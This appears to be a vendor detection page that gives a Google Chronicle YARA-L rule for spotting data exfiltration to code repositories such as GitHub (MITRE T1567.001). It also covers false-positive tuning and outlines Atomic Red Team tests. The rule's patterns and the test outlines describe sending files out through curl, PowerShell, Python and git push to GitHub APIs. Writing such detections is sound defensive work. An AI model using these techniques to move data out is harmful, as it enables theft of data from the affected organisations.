Detect Exfiltration to Code Repository in Google Chronicle
Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection. Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. Tools such as Empire have been observed using GitHub for data exfiltration, leveraging the GitHub API to stage and retrieve data as part of a C2 channel.
MITRE ATT&CK
- Tactic
- Exfiltration
- Technique
- T1567 Exfiltration Over Web Service
- Sub-technique
- T1567.001 Exfiltration to Code Repository
- Canonical reference
- https://attack.mitre.org/techniques/T1567/001/
YARA-L Detection Query
rule t1567_001_exfiltration_to_code_repository {
meta:
author = "Argus Detection Engineering"
description = "Detects T1567.001 - Exfiltration to Code Repository via git push, large uploads, or REST API file uploads to GitHub, GitLab, Bitbucket, Azure DevOps, or Codeberg"
mitre_attack_tactic = "Exfiltration"
mitre_attack_technique = "T1567.001"
severity = "HIGH"
confidence = "MEDIUM"
reference = "https://attack.mitre.org/techniques/T1567/001/"
version = "1.0"
created = "2026-04-21"
events:
// Signal 1: Large network transfer to code repository domain from scripting/git process
(
$e1.metadata.event_type = "NETWORK_CONNECTION"
AND $e1.network.direction = "OUTBOUND"
AND (
$e1.target.hostname = /(?i)(github\.com|api\.github\.com|gitlab\.com|api\.gitlab\.com|bitbucket\.org|api\.bitbucket\.org|dev\.azure\.com|raw\.githubusercontent\.com|gist\.github\.com|codeberg\.org)$/
)
AND (
$e1.principal.process.file.full_path = /(?i)(\\git\.exe|\\curl\.exe|\\wget\.exe|\\python\.exe|\\python3\.exe|\\powershell\.exe|\\pwsh\.exe|\\node\.exe|\\ruby\.exe|\\perl\.exe|^\/(usr\/bin\/|usr\/local\/bin\/|bin\/)(git|curl|wget|python|python3|node|ruby|perl)$)/
)
AND $e1.network.sent_bytes > 524288
)
OR
// Signal 2: git push to external code repository (process args)
(
$e2.metadata.event_type = "PROCESS_LAUNCH"
AND (
$e2.principal.process.file.full_path = /(?i)(\\git\.exe|^\/(usr\/bin\/|usr\/local\/bin\/|bin\/)git$)/
)
AND $e2.target.process.command_line = /(?i)push/
AND $e2.target.process.command_line = /(?i)(github\.com|gitlab\.com|bitbucket\.org|dev\.azure\.com|codeberg\.org)/
)
OR
// Signal 3: REST API upload via scripting tools
(
$e3.metadata.event_type = "PROCESS_LAUNCH"
AND (
$e3.principal.process.file.full_path = /(?i)(\\curl\.exe|\\wget\.exe|\\python\.exe|\\python3\.exe|\\powershell\.exe|\\pwsh\.exe|\\node\.exe|\\ruby\.exe)/
)
AND $e3.target.process.command_line = /(?i)(api\.github\.com|api\.gitlab\.com|api\.bitbucket\.org|gist\.github\.com)/
AND $e3.target.process.command_line = /(?i)(-X PUT|-X POST|method=.PUT|method=.POST|requests\.put|requests\.post|Invoke-RestMethod|Invoke-WebRequest|contents|gists|upload)/
)
condition:
$e1 or $e2 or $e3
} Chronicle YARA-L 2.0 rule detecting T1567.001 exfiltration to code repositories using UDM network and process events. Covers three detection signals: outbound network connections with large byte transfers (>512KB) to known code hosting domains from scripting or git processes, git push commands that explicitly reference external repository URLs in process arguments, and REST API file uploads (PUT/POST) to GitHub/GitLab/Bitbucket APIs from scripting tools. Correlates principal process context with target network destinations.
Data Sources
Required Tables
False Positives & Tuning
- Corporate software development workflows where developers or automated build systems regularly push large compiled binaries, release packages, container image layers, or documentation artifacts to GitHub Releases or GitLab package registry endpoints
- Security automation pipelines that use curl or Python scripts to programmatically create GitHub/GitLab issues, upload SARIF vulnerability scan results, or trigger repository webhooks via the REST API with PUT or POST methods
- Data engineering teams using repositories to store and version large datasets, ML model checkpoints, or ETL pipeline configurations — Python scripts invoking Git LFS or the GitHub API to upload files may exceed the 512KB threshold legitimately
Other platforms for T1567.001
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Exfiltrate Data via GitHub Contents API Using PowerShell
Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe and CommandLine containing 'api.github.com', 'Invoke-RestMethod', 'PUT', and 'token'. Sysmon Event ID 3: Network Connection from powershell.exe to api.github.com:443. PowerShell ScriptBlock Log Event ID 4104 with full API request including the encoded content. Network proxy logs show HTTPS PUT to api.github.com with outbound payload.
- Test 2Git Push Sensitive Files to External Repository from Command Shell
Expected signal: Sysmon Event ID 1: Multiple process creates — cmd.exe, git.exe (init), git.exe (add), git.exe (commit), git.exe (push) with CommandLine containing 'github.com' and '--force'. Sysmon Event ID 3: Network Connection from git.exe to github.com:443. Sysmon Event ID 11: File Create for stolen_creds.txt in %TEMP%\df00tech-exfil. Security Event ID 4688 if command line auditing enabled.
- Test 3Exfiltrate Data via GitHub Gist API Using curl
Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe spawning curl.exe, CommandLine containing 'api.github.com/gists', '-X POST', and the Authorization header with PAT. Sysmon Event ID 3: Network Connection from curl.exe to api.github.com:443. Proxy logs show HTTPS POST to api.github.com/gists with outbound JSON payload.
- Test 4Automated Data Exfiltration via Python GitHub API Script
Expected signal: Sysmon Event ID 1: Process Create with Image=python.exe and CommandLine containing 'api.github.com', 'PUT', 'urllib.request', and the Authorization token. Sysmon Event ID 3: Network Connection from python.exe to api.github.com:443. No PowerShell ScriptBlock logging (Python process); look for Python audit hooks or endpoint DLP alerts on the data access pattern (reading hosts file).
References (10)
- https://attack.mitre.org/techniques/T1567/001/
- https://github.com/EmpireProject/Empire
- https://docs.github.com/en/rest/repos/contents
- https://docs.github.com/en/rest/gists/gists
- https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization
- https://learn.microsoft.com/en-us/defender-endpoint/advanced-hunting-devicenetworkevents-table
- https://learn.microsoft.com/en-us/defender-endpoint/advanced-hunting-deviceprocessevents-table
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1567.001/T1567.001.md
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
Unlock Pro Content
Get the full detection package for T1567.001 including response playbook, investigation guide, and atomic red team tests.